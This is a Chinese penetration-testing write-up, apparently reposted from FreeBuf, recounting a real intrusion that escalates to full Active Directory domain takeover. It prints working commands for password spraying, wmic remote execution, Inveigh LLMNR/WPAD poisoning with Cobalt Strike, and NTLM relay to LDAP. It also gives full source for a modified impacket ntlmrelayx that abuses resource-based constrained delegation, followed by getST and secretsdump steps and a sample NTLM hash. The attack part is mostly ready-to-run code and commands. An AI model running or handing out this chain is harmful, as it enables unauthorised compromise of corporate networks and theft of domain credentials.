渗透小记 – 中继和委派的实战利用 – 作者:宽字节安全实验室

0x00 前言

本文源自一次真实的渗透过程记录,介绍基于资源的约束委派的另一种利用场景,希望能对各位看客有所帮助

图片[1]-渗透小记 – 中继和委派的实战利用 – 作者:宽字节安全实验室-安全小百科

0x01 背景

通过 VPN 拨入内网,根据下发路由和前期的探测发现目标内网存在 10.10.1.0/24 、10.10.2.0/24 两个活跃段。10.10.1.88 为域控制器。

0x02

根据前期的信息收集,活跃段中并没有什么可以直接利用的点,整理手上的已有信息。目标内网的机器主机名均为 ATTACK-TONY-PC ,猜测中间的字符串为用户名,使用 Kerberos pre-auth 的特性验证了我们的猜测,并收集所有主机名和 VPN 密码做组合成功枚举出了一组口令。具体用到的工具参考 渗透技巧——通过Kerberos pre-auth进行用户枚举和口令爆破

0x03

根据以往的经验,这种以用户名为主机名的域,大概率会把域用户添加到本地管理员组,找到用户对应的机器,直接 wmic 试一下

wmic /node:10.10.1.96 /user:ATTACK\TONY /password:1qaz2wsx os get name

果然正确的返回的操作系统信息。继续通过 wmic 获取机器上的进程,

wmic /node:10.10.1.96 /user:ATTACK\TONY /password:1qaz2wsx process get name

根据机器上的防护软件进行相应的免杀,落地二进制文件,上线到 CS。到此,我们获取到了域内的一个落脚点。不幸的是,这台机器的主人貌似这是个边缘人员,翻遍机器也没有找到对我们用帮助的信息。本机的 500 用户为空密码。查看 LDAP 中的信息,几乎整个域内机器均为 win10,有少量几台 server 2016,当前我们处在 10.10.1.96,域管的位置在 10.10.2.66。继续查看 LDAP 中的信息,其中有一个我们比较关注的点:大多数机器mS-DS-CreatorSID都是对应用户的 SID,少部分机器的为mS-DS-CreatorSID同一用户的 SID (网络管理员)。也就是说域内机器基本都是是用户自己拉入域的,域用户对他拉入的机器用户有WriteProperty权限,可以操作机器用户的msDS-AllowedToActOnBehalfOfOtherIdentity属性。如果我们有了用户的权限,就满足了2个利用基于资源的约束委派的条件

能够修改msDS-AllowedToActOnBehalfOfOtherIdentity属性

有一个机器账户(这里说法其实不太准确,应该是需要一个具有SPN的账户,更详细的说是需要一个账户的TGT就可以,机器账户满足以上条件)

机器账户我们可以使用之前获取到的机器ATTACK-TONY-PC$,那用户权限又该从哪里获取呢?

0x04 WPAD + NTLM 中继 + 基于资源的约束委派

在开始前让我们对涉及到的知识点做一个简单的说明。(这里只是简单的提一下,想要完全搞明白还需要自行深入学习各个知识点)

  • WPAD

    WPAD(Web Proxy Auto-Discovery Protocol)Web代理自动发现协议的简称,该协议的功能是可以使局域网中用户的浏览器可以自动发现内网中的代理服务器,并使用已发现的代理服务器连接互联网或者企业内网。当系统开启了代理自动发现功能后,用户使用浏览器上网时,浏览器就会在当前局域网中自动查找代理服务器,如果找到了代理服务器,则会从代理服务器中下载一个名为PAC(Proxy Auto-Config)的配置文件。该文件中定义了用户在访问一个 URL 时所应该使用的代理服务器。浏览器会下载并解析该文件,并将相应的代理服务器设置到用户的浏览器中。在请求WPAD的过程中,如果服务端要求401认证,部分浏览器和应用将会自动用当前用户凭证进行认证。

  • LLMNR,NBT-NS

    LLMNR 和 NBT-NS 均为名称解析机制中用到的协议,在windows名称解析过程中,大致的顺序为DNS -> LLMNR -> NetBIOS。简单的说DNS协议解析不到的地址,windows则会在当前网段域子网域发送广播(LLMNR,NetBIOS)来请求地址解析,如果我们和目标机器在同一子网域则可以回复广播,欺骗地址解析。

  • NTLM Ralay

    NTLM Relay

  • 基于资源的约束委派

    Windows Server 2012中引入了基于资源的约束委派。基于资源的约束委派允许资源配置受信任的帐户委派给他们。基于资源的约束委派将委派的控制权交给拥有被访问资源的管理员。

    域渗透——基于资源的约束委派利用

明白了上面这些知识后,我们就可以开始进行攻击了,攻击流程为:在当前网段进行投毒,通过WPAD欺骗,让用户来向我们进行NTLM认证,再将认证请求中继到LDAP,因为用户可以修改他拉入的机器的msDS-AllowedToActOnBehalfOfOtherIdentity属性,我们对该属性进行修以配置基于资源的约束委派,来拿到其主机的权限。

0x05 修改 impacket

impacket 目前只看到有从机器用户中继修改基于资源的约束委派的功能,对于我们这个攻击流程,需要稍微修改一下。为了方便某些同学调试,我把修改过程放在这里,不想看可以直接跳过,文末有修改打包好的 impacket。

/impacket/examples/ntlmrelayx.py

添加options.user_delegate_access

c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access, options.dump_laps, options.dump_gmsa, options.sid, options.user_delegate_access)

在参数处理的地方 添加

图片[2]-渗透小记 – 中继和委派的实战利用 – 作者:宽字节安全实验室-安全小百科

ldapoptions.add_argument('--user-delegate-access', action='store_true', required=False, help='Delegate access on relayed user account to the specified account')

/impacket/impacket/examples/ntlmrelayx/utils/config.py 中

修改函数setLDAPOptions,添加userdelegateaccess

def setLDAPOptions(self, dumpdomain, addda, aclattack, validateprivs, escalateuser, addcomputer, delegateaccess, dumplaps, dumpgmsa, sid, userdelegateaccess):
self.dumpdomain = dumpdomain
self.addda = addda
self.aclattack = aclattack
self.validateprivs = validateprivs
self.escalateuser = escalateuser
self.addcomputer = addcomputer
self.delegateaccess = delegateaccess
self.dumplaps = dumplaps
self.dumpgmsa = dumpgmsa
self.sid = sid
self.userdelegateaccess = userdelegateaccess

/impacket/impacket/examples/ntlmrelayx/attacks/ldapattack.py

添加全局变量delegatePerformedUser

图片[3]-渗透小记 – 中继和委派的实战利用 – 作者:宽字节安全实验室-安全小百科

class LDAPAttack(ProtocolAttack):中 添加如下代码

def MFdelegateAttack(self, usersam, targetsam, domainDumper, sid, ssid):
global delegatePerformedUser

if not usersam:
usersam = self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper)
self.config.escalateuser = usersam

if not sid:
# Get escalate user sid
result = self.getUserInfo(domainDumper, usersam)
if not result:
LOG.error('User to escalate does not exist!')
return
escalate_sid = str(result[1]) # sid 
else:
escalate_sid = usersam

AttackList = self.getCreatorSID(domainDumper, ssid);
# LOG.debug(AttackList)
# LOG.debug(escalate_sid)
if AttackList is False:
LOG.info('Cannot find a computer with mS-DS-CreatorSID %s' % ssid)
return

LOG.info("Try to modifiy delegation rights")

for Attack in AttackList:
self.addDelegation(Attack[0], escalate_sid)

delegatePerformedUser.append(targetsam)

def addDelegation(self,target_dn,escalate_sid):
self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName','objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity','name'])
targetuser = None
for entry in self.client.response:
if entry['type'] != 'searchResEntry':
continue
targetuser = entry
if not targetuser:
LOG.error('Could not query target user properties')
return False

try:
sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0])
LOG.debug('Currently allowed sids:')
for ace in sd['Dacl'].aces:
LOG.debug('    %s' % ace['Ace']['Sid'].formatCanonical())
except IndexError:
sd = create_empty_sd()

sd['Dacl'].aces.append(create_allow_ace(escalate_sid))
self.client.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]})
if self.client.result['result'] == 0:
LOG.info('Delegation rights modified succesfully!')
LOG.info('%s can now impersonate users on %s via S4U2Proxy', self.config.escalateuser, targetuser['attributes']['name'])
return True
else:
if self.client.result['result'] == 50:
LOG.error('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
elif self.client.result['result'] == 19:
LOG.error('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
else:
LOG.error('The server returned an error: %s', self.client.result['message'])
return False

def userdelegateAttack(self, usersam, targetsam, domainDumper, sid):
global delegatePerformedUser
if targetsam in delegatePerformedUser:
LOG.info('Delegate attack already performed for this User: %s, skipping' % targetsam)
return

self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(targetsam), attributes=['objectSid', 'primaryGroupId'])

user = self.client.entries[0]
usersid = user['objectSid'].value

tmp_flag = self.getCreatorSID(domainDumper, usersid)
LOG.info('Try to find the computer with mS-DS-CreatorSID %s' % usersid)
if tmp_flag is not False:
for x in tmp_flag:
LOG.info('DN : %s SID : %s' % (x[0], x[1]))

self.MFdelegateAttack(usersam, targetsam, domainDumper, sid, usersid)

run函数中添加如下代码

图片[4]-渗透小记 – 中继和委派的实战利用 – 作者:宽字节安全实验室-安全小百科

if self.config.userdelegateaccess:
self.userdelegateAttack(self.config.escalateuser, self.username, domainDumper, self.config.sid)
return

重新安装impacket

pip3 uninstall impacket;pip3 install .

用法

sudo python3 ./examples/ntlmrelayx.py -t ldap://192.168.1.63 --escalate-user=WIN10\$ --user-delegate-access
sudo python3 ./examples/ntlmrelayx.py -t ldaps://192.168.1.63 --user-delegate-access

0x06 完成攻击链

为了避免不必要的意外,用本地测试环境来代替

name note
Administer 域管理员
rabbit 普通域用户
test 普通域用户
name os ip note
DC server2016 192.168.1.63 域控制器
WIN10 windows10 192.168.1.59 个人PC,模拟我们在域内拿下的那台机器
WIN10-1 windows10 192.168.1.78 个人PC,由用户 ATTACT\TEST 拉入域,登录用户 ATTACT\TEST
WIN10-2 windows10 192.168.1.77 个人PC,由用户 ATTACT\TEST 拉入域,登录用户 ATTACT\TEST
kali kali 192.168.1.79 模拟外网 vps

首先我们在WIN10这台机器上开启Inveigh来进行LLMNR/NBNS协议欺骗,这里我们只需要投毒的功能,所以只用C#版本的Inveigh就可以了,还可以配合csexecute-assembly来执行以规避杀软。欺骗的地址指向外网的vps,也就是当前环境中的kali

execute-assembly c:\windows\rabbit\tools\Inveigh.exe -SpooferIP 192.168.1.79

kali开启 ntlmrelay.py 进行监听,指定相关攻击的参数

sudo python3 ./examples/ntlmrelayx.py -t ldap://192.168.1.63 --escalate-user=WIN10\$ --user-delegate-access -debug

这里以chrome为例,当用户ATTACK\TEST点击chrome时,则会触发我们的攻击链,接管机器权限。

a03bb9d7f80559c87765c72cb3d53d1d.png

可以看到,我们以成功配置了WIN10$WIN10-1WIN10-2的基于资源的约束委派。接下来就可以申请高权的票据来访问对应的服务了。

python3 getST.py -dc-ip 192.168.1.63 ATTACK/WIN10\$ -hashes aad3b435b51404eeaad3b435b51404ee:0c5082ca74c579d34d4de279a84ee44f -spn host/WIN10-2.attack.com -impersonate administrator

注入票据到当前上下文,并尝试访问,如图所示,成功获取到机器WIN10-2的权限。

图片[5]-渗透小记 – 中继和委派的实战利用 – 作者:宽字节安全实验室-安全小百科具体什么服务需要使用什么票据,参考这里 How Attackers Use Kerberos Silver Tickets to Exploit Systems

Service Type Service Silver Tickets
WMI HOST,RPCSS
PowerShell Remoting HOST,HTTP(WSMAN,RPCSS)
WinRM HOST,HTTP
Scheduled Tasks HOST
Windows File Share (CIFS) CIFS
LDAP operations including Mimikatz DCSync LDAP
Windows Remote Server Administration Tools RPCSS,LDAP,CIFS

举个例子:

图片[6]-渗透小记 – 中继和委派的实战利用 – 作者:宽字节安全实验室-安全小百科以上就是整个攻击链。回到实战中,实战中,我通过如上攻击链定向(Inveigh 指定 SpooferIPsReply 参数对特定ip进行欺骗)的拿到了几个开发权限,并从其中一台机器上获取了一台 10.10.2.0/24 段上的机器权限,这样我们就移动到与域管同一网段下,那我们可以继续中继域管的凭证到 LDAP 去修改添加特权到任意用户。Inveigh指定 域管的ip。开启 ntlmrelay 监听,指定攻击 ldap 并且指定用户。

execute-assembly c:\windows\rabbit\tools\Inveigh.exe -SpooferIPsReply 10.10.2.66  -SpooferIP VPS-IP
proxychains python3 ./examples/ntlmrelayx.py -t ldap://192.168.98.10 --escalate-user=rabbit

两分钟以后,域管请求了我们的 WPAD ,成功中继到 ldap 并且赋予了我们指定用户特权。(过程截图仍由测试环境代替)

图片[7]-渗透小记 – 中继和委派的实战利用 – 作者:宽字节安全实验室-安全小百科图片[8]-渗透小记 – 中继和委派的实战利用 – 作者:宽字节安全实验室-安全小百科接下来就是 secretsdump.py dump 域管 hash,接管域控了。至此,拿到整个域权限。

图片[9]-渗透小记 – 中继和委派的实战利用 – 作者:宽字节安全实验室-安全小百科

0x07 参考链接

微软不认的“0day”之域内本地提权-烂番茄(Rotten Tomato)

这是一篇“不一样”的真实渗透测试案例分析文章

How Attackers Use Kerberos Silver Tickets to Exploit Systems windows-protocol

NTLM Relay渗透技巧——通过Kerberos pre-auth进行用户枚举和口令爆破

WPAD 协议分析及内网渗透利用域渗透——基于资源的约束委派利用

来源:freebuf.com 2021-01-22 10:09:56 by: 宽字节安全实验室

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论